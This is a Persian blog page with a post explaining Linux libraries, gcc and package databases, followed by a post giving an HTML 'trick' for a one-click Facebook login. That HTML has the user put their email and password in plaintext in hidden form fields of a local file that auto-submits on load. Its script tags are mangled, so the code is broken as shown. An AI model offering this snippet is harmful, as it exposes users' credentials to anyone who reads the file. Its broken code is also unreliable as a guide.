کتابخانه ها همان DLL هایی هستند که شما در ویندوز می شناختید.(که اغلب گم شده بودند یا به دلیل خرابیشان برنامها کار نمی کرد!!) در لینوکس نیز کتابخانه ها همان مسئولیت را به عهده دارند اما پسوند خاصی ندارند چرا که هر زبان از کتابخانه های خوداستفاده می کند.خوب این مسئولیت کتابخانه ها چیست؟ کتابخانه ها یکسری فایل هستند که شامل یکسری توابع و روتین برای برنامه می باشند ،‌شما می توانید یک فایل کتابخانه درست کنید و تمام توابعی که در برنامه ی شما استفاده می شود را در آن قرار دهید و از برنامه ی خود بخواهید که این توابع را از فایل مذکور اجرا کند،‌این کار چه فایده ای دارد؟ فکر کنید همکار شمانیز می خواهد برنامه ای بنویسید او می تواند از ابتدا شروع کند و تمام توابع رادر برنامه ی خود تعریف کند ،‌این کار باعث صرف وقت بیشتر و خستگی بیشتر و نیز حجم بیشتر فایل ها می شود.راه حل هوشمندانه این است که توابع مشترک برنامه ها را در یک فایل کتابخانه ای قرار دهید و هر کسی که به آن توابع احتیاج داشت زمان اجرای برنامه این توابع را فرابخواند. به این ترتیب لازم نیست که شما هر بار تمام توابع را تعریف کنید کافیست یکبار این توابع در کتابخانه ای نوشته شوند و کاربران این کتابخانه ا را در سیستم خودنصب کنند ،‌حالا شما و همارانتان و دیگران بدون دغدغه ی حجم زیاد و تعریف مجدد توابع به نوشتن برنامه مشغول می شوید.(حالا متوجه شدید چرا به این برنامه ها کتابخانه می گویند؟)

از جمله معروف ترین کتابخانه ا می توان به کتابخانه های C اشاره کرد که با نام libc و در توزیع های مدرن تر به نام glibc وجود دارند و یا کتابخانه ی معروف +GTK که شما یک بار نصب می کنید و تمام برنامه های محیط گرافیکی گنوم از آن استفاده می کنند.

     ?.ابزار های توسعه(Development Tools)

اگر شما تصمیم به کامپایل یک برنامه گرفته اید باید فایل های کتبخانه ای و ابزار های توسعه ی مربوط به آن برنامه را داشته باشید. مثلا اگر برنامه ای به زبان C دارید باید یک کامپایلر برای C داشته باشید و کتابخانه های مربوط به آن را نیز باید در سیستمتان داشته باشید. اگر شما نیازی به کامپایل برنامه ها ندارید لازم نیست تا ابزار های توسعه رانیز نصب کنید. درواقع وقتی شما یک برنامه را کامپایل می کنید مانند این است که شما برنامه نویسید و برنامه رانوشتیدو کد آن راآماده کردید و می خواهید آن را به زبان ماشین ترجمه کنید،‌خوب برای این کار به ابزاری نیاز دارید به نام Development tools که بوسیله ی آن برنامه ی خودرا کامپایل کنید. برنامه ی معروف gcc جزو این ابزار هاست ،‌gcc که یک کامپایلر است و تحت مجوز GNU/GPL نیز منتشر سده است مجموعه ای است از کامپایلر های زبان های مختلف،‌البته این اسم آن نیز معلوم است GNU Compiler Collection!!!!

       ?.پایگاه داده ی بسته های نصب شده
پایگاه داده ی بسته های نصب شده یا به زبان ساده تر Installed package Database !! محلی است که اطلاعات بسته های نصب شده ی سیستم در آن قرار دارد. شاید شما بخواهیدبدانید که فایل کتابخانه ای X یا Y آیا نصب شده است یا نه؟ یا می خواهید بدانی چه نسخه ای از برنامه در سیستم شما موجود است ،‌یا حتی می خواهید بدانید برای برنامه ی شما چه نیاز مندی هایی لازم است؟ تمام این اطلاعات و اطلاعات دیگر در یک پایگاه داده ذخیره می شود.برای بسته های Debian این مسیر اغلب در مسیر var/lib/dpkg/ است و برای RPM این مسیر var/lib/rpm/ است ،‌اما برای Tarball هیچ پایگاهی وجود ندارد!! البته توزیع SlackWare خودش توسط برنامه ای به نام slackware Package Tool یا pkgtool برای بسته های Tarball ای که از طریق این برنامه نصب می شوند یک پایگاه داده می سازد اما این فقط مختص توزیع است و این امکان در تمام توزیع ها موجود نیست.به همین دلیل است که اغلب بسته های Slackware را جزو بسته های هوشمند به شمار نمی آورند چرا که تنها یک آرشیو فشرده است و حتی نمی تواند وابستگی ها یا Dependency های خود را پیدا کند.

نصب نرم افزار در لینوکس ،‌تمام آنچه در این مقاله خواندید روش های مختلف نصب در لینوکس است ،‌می بینید که شما انتخاب های مختلفی دارید و به یک انتخاب وابسته نیستید ، امید وارم این مقاله برایتان مفید بوده و مطالبی جدید برایتان داشته باشد.

نظرات شما | لینک ثابت مطلب

برنامه، لینوکس، نصب برنامه ها درلینوکس، سیستم عامل لینوکس، آموزش

فیسبوک Facebook

خیلی از دنیای IT عقب هستید اگر نام Facebook را تاکنون نشنیده باشید! وب سایتی که در حال حاضر 150 میلیون کاربر فعال دارد و در هر روز 450 هزار نفر به آن می‌پیوندند. تخمین زده می‌شود تا پایان سال 2010، تعداد کاربران فیس‌بوک به رقم خیره کننده 300 میلیون کاربر خواهد رسید! فیس‌بوک را از نظر محبوبیت می‌توان یکی از جدی ترین رقبای گوگل دانست. این سایت تنها یک شبکه اجتماعی نیست بلکه یک زندگی است. شما در فیس‌بوک دارای یک صفحه شخصی هستید، می‌توانید گروه تاسیس کنید و یا در گروه‌های دیگر عضو شوید، می‌توانید برای خودتان آلبوم عکس بسازید، می‌توانید دوستانتان را انتخاب کنید و به لیست دوستانتان اضافه کنید و صدها کار دیگر که معرفی تمامی این‌ها در مقدمه این ترفند نمی‌گنجد. اما اگر شما نیز یکی از این میلیون‌ها نفر هستید هم اکنون قصد داریم ترفندی کاربردی و جالب را پیرامون Facebook معرفی کنیم. در این ترفند به معرفی نحوه ساخت یک Shortcut در محیط ویندوز جهت ورود سریع به Facebook می‌پردازیم. به وسیله این میانبر، دیگر بدون نیاز به وارد کردن ایمیل و رمزعبور، مستقیمأ وارد صفحه شخصی خود در Facebook می‌شوید.

بدین منظور:
از منوی Start به All Programs و سپس Accessories رفته و بر روی Notepad کلیک کنید.
حال در محیط Notepad کدهای زیر را عینأ Copy و Paste نمایید.

<html>
<head>
</head>

<body onLoad=logMeIn()>
< type="text/java">
    function logMeIn(){
        loginform.submit();
    }

    function quicklogin() {
        document.cookie = "test_cookie=1;domain=.facebook.com";
    }
</>

<form method="post" name="loginform" action="https://login.facebook.com/login.php" onsubmit="quicklogin();">
<input type="hidden" name="md5pass">
<input type="hidden" name="noerror" value="1" />
<input type="hidden" class="inputtext" type="password" name="email" value="EMAILEH KHOD RA VARED KONID" id="email" size="20" />
<input type="hidden" class="inputtext" type="password" name="pass" value="PASSWORDEH KHOD RA VARED KONID" id="pass" size="20" />
</form>

</body>
</html>

سپس قسمت مربوط به وارد کردن ایمیل و پسورد ورود به فیس‌بوک را تکمیل نمایید. شما بایستی ایمیل و پسوردی که با آن در فیس‌بوک ثبت نام کرده‌اید و از آن برای لوگین استفاده می‌کنید را وارد کنید. در داخل کدها این دو قسمت با حروف بزرگ مشخص هستند.
تنها دقت کنید ایمیل و پسورد را بین دو " " قرار دهید.

پس از این‌کار از منوی File بر روی Save as کلیک کنید.
حال فایل را با نام دلخواه و پسوند html ذخیره نمایید. به عنوان مثال نام آن را Facebook.html بگذارید.
پس از این‌کار در صورتی که بر روی فایل ساخته شده دوبار کلیک کنید، مرورگر پیش فرض اجرا شده و در صورت صحت ایمیل و پسورد، مستقیمأ وارد صفحه شخصی خود در فیس‌بوک می‌شوید.

جهت زیبایی و سهولت بیشتر کار:
در نوار ابزار مرورگر خود به آدرس زیر بروید:
http://static.ak.facebook.com/favicon.ico

بر روی فایل تصویر راست کلیک کرده و با انتخاب Save آن را با نام favicon.ico ذخیره کنید.
حال بر روی فایل Facebook.html خود راست‌‌کلیک کرده و Create a Shortcut را انتخاب کنید.
بر روی فایل جدید ساخته شده یعنی Shortcut to Facebook.html راست‌کلیک کرده و Properties را برگزینید.
در پنجره باز شده به تب Shortcut بروید و بر روی Change Icon کلیک کنید.
با انتخاب دکمه Browse، فایل favicon.ico را انتخاب کنید.
پنجره‌های باز را نیز OK کنید تا تصویر فایل میانبر، لوگوی خود Facebook شود.

در نهایت می‌توانید با کشیدن و رها کردن (Drag&Drop) این میانبر در محیط Quick Lunch و Desktop آن را همیشه در نزدیک خود داشته باشید و به سریع‌ترین شکل ممکن وارد فیس‌بوک شوید.
منبع :ترفندستان

نظرات شما | لینک ثابت مطلب

فیس‌بوک، Facebook، از منوی File بر روی Save as کلیک کنید، </body>، دنیای IT

< 1 2 3 4 5 >> >

***

*****

دانلود ، آموزش ، فول آلبوم، نرم افزار، مباحث شیعه وسنی،عکس وتصویر، با انواع خواندنی های جذاب ومطالب متفرقه دیگر